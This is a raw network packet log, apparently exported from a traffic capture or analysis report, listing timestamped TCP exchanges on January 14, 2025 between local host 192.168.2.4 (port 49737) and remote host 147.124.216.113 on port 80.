                                                                                                                                                        Jan 14, 2025 08:08:11.749377966 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.749393940 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.749413013 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.749444962 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.749464035 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.749526024 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.749557972 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.749579906 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.749608040 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.749661922 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.750113010 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.750147104 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.750180006 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.750210047 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.750216961 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.750252008 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.750273943 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.750288010 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.750320911 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.750341892 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.750353098 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.750386000 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.750403881 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.750422955 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.750478983 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.751099110 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.751131058 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.751163960 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.751184940 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.751195908 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.751230001 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.751251936 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.751262903 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.751308918 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.751333952 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.751360893 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.751394987 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.751416922 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.751429081 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.751483917 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.751895905 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.752039909 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.752072096 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.752094984 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.752104044 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.752137899 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.752156019 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.752185106 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.752216101 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.752233982 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.752249956 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.752285004 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.752300978 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.752320051 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.752371073 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.752829075 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.789231062 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.789273977 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.789290905 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.789309025 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.789323092 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.789351940 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.789431095 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.789431095 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.789431095 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.802256107 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.802272081 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.802288055 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.802304029 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.802355051 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.802355051 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.802391052 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.802408934 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.802426100 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.802439928 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.802449942 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.802465916 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.802469015 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.802480936 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.802495003 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.802509069 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.802519083 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.802525043 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.802541018 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.802544117 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.802568913 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.803311110 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.803344011 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.803374052 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.803469896 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.803585052 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.803605080 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.803618908 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.803621054 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.803632975 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.803648949 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.803663015 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.803663969 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.803678036 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.803709030 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.803738117 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.804389954 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.804413080 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.804425955 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.804440975 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.804446936 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.804455996 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.804471970 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.804471970 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.804487944 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.804502964 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.804517031 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.804532051 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.804543018 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.804543018 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.804565907 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.805128098 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.805143118 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.805166006 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.805180073 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.805186987 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.805196047 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.805210114 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.805219889 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.805234909 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.805248976 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.805253029 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.805264950 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.805274963 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.805282116 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.805319071 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.806204081 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.806219101 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.806232929 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.806246996 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.806263924 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.806274891 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.806274891 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.806314945 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.839592934 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.839662075 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.839698076 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.839731932 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.839764118 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.839797020 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.839829922 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.839835882 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.839835882 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.839835882 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.839863062 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.839896917 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.839920044 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.839931965 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.839966059 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.839984894 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.840003014 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.840039968 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.840054989 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.840410948 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.840445042 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.840475082 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.840477943 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.840511084 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.840532064 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.840544939 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.840594053 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.840605974 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.840919018 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.840969086 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.840977907 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.841003895 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.841036081 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.841059923 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.841069937 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.841103077 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.841125965 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.841192007 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.841224909 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.841252089 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.841258049 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.841293097 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.841310024 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.841815948 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.841866016 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.841877937 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.841901064 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.841933012 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.841957092 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.841983080 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.841998100 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.842011929 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.842027903 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.842032909 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.842041016 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.842055082 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.842076063 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.842098951 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.842931032 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.842964888 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.842988968 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.842998981 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.843031883 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.843054056 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.843079090 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.843111038 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.843133926 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.843143940 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.843178034 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.843202114 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.843210936 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.843245029 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.843264103 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.843719959 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.843735933 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.843750954 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.843765020 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.843771935 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.843781948 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.843795061 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.843797922 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.843813896 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.843838930 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.843877077 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.892894030 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.892915010 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.892940998 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.892956972 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.892971039 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.892986059 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.892982960 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.893001080 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.893017054 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.893079996 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.893079996 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.893079996 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.893218040 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.893230915 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.893245935 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.893284082 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.893325090 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.893366098 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.893373013 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.893382072 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.893403053 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.893416882 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.893429995 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.893446922 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.893462896 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.893471956 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.893496037 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.893508911 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.893522978 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.893524885 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.893538952 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.893553972 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.893568039 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.893582106 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.893595934 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.893595934 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.893608093 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.893618107 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.893623114 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.893667936 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.894157887 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.894212008 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.894309044 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.894323111 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.894337893 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.894362926 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.894377947 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.894377947 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.894393921 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.894408941 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.894411087 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.894427061 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.894442081 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.894449949 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.894464970 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.894469023 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.894517899 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.894846916 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.894861937 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.894876957 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.894900084 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.894908905 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.894923925 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.894937992 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.894944906 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.894953012 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.894968987 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.894980907 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.894984961 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.895000935 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.895013094 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.895016909 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.895034075 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.895040989 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.895050049 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:11.895081997 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:11.930003881 CET8049737147.124.216.113192.168.2.4
